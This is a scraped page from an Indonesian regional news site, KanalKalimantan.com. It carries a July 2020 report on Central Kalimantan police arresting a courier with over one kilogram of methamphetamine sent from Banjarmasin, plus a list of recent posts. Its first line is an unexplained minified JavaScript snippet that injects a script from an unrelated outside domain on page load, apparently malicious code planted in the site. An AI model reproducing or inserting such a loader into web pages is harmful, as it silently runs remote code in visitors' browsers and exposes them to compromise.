(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Tengah

Bang Kumis Dibekuk Bawa 1 Kg Sabu, Dipasok dari Banjarmasin


KANALKALIMANTAN.COM, PALANGKA RAYA – Direktorat Reserse Narkoba Polda Kalimantan Tengah menangkap seorang pria warga kota Palangka Raya yang diduga kurir sabu dengan barang bukti yang berhasil disita seberat 1 kilogram lebih.

Direktur Reserse Narkoba Polda Kalteng Kombes Bonny Djianto mengatakan, pelaku yang kini sudah ditetapkan sebagai tersangka kepemilikan sabu seberat 1 kilogram lebih itu bernama Bachtiar alias Bang Kumis (53) warga Jalan Danau Indah Gang 5B atau Jalan Tjilik Riwut Km 4 Kota Palangka Raya.

“Sabu seberat satu kilogram lebih itu dipecah menjadi 12 paket. Tersangka kami tangkap di kediamannya pada Minggu (5/7/2020) lalu, dan dari tangkapan tersebut sempat dikembangkan,” kata Bonny sebagaimana dilansir Antara, Jumat (24/7/2020).

Selain sabu 1 kilogram lebih itu, penyidik juga menyita barang bukti ponsel, plastik sabu dan alat timbangan digital untuk membagi-bagi sabu tersebut agar menjadi paket kecil siap edar

 

Baca juga: ‘Sakit Kepala’ Petarung Independen di Pilkada 2020, Calon Parpol Mulai Lobi Limpahan Suara!

Selanjutnya, dari hasil pemeriksaan penyidik tersangka dalam sekali pengiriman barang haram tersebut yang bersangkutan diberikan imbalan Rp15 juta dan sudah kerap kali beraksi.

“Bahkan pernah mengirim sabu-sabu sebanyak 1,2 kilogram lebih ke daerah Kalteng untuk kembali diedarkan ke sejumlah wilayah,” katanya.

Pelaku akan dijerat dengan Pasal 114 ayat 2 Pasal 112 ayat 2 Undang-Undang RI Nomor 35 tahun 2009 tentang narkotika dengan ancaman hukuman seumur hidup atau mati dan denda Rp 1 miliar.

Baca juga: Akui Positif Corona, Wabup Kotawaringin Barat: Bukan Aib!

“Diketahui tersangka ini merupakan jaringan lintas provinsi. Sementara rencananya sabu sebanyak itu akan diedarkan di wilayah Kota Palangka Raya dan Kabupaten Gunung Mas,” ungkap Bonny.

Perwira Polri berpangkat melati tiga itu mengungkapkan barang haram tersebut dikirim dari kota Banjarmasin, Kalimantan Selatan.

Saat pemeriksaan, tersangka mengaku hanya menjadi kurir dan pengendalinya dilakukan seorang narapidana yang ada di Kalteng.

“Tersangka ini menggunakan jaringan terputus, narapidana yang menggunakan handphone itu untuk komunikasi ketika kami cari tidak ditemukan,” katanya. (suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

8 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

10 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

11 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

12 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.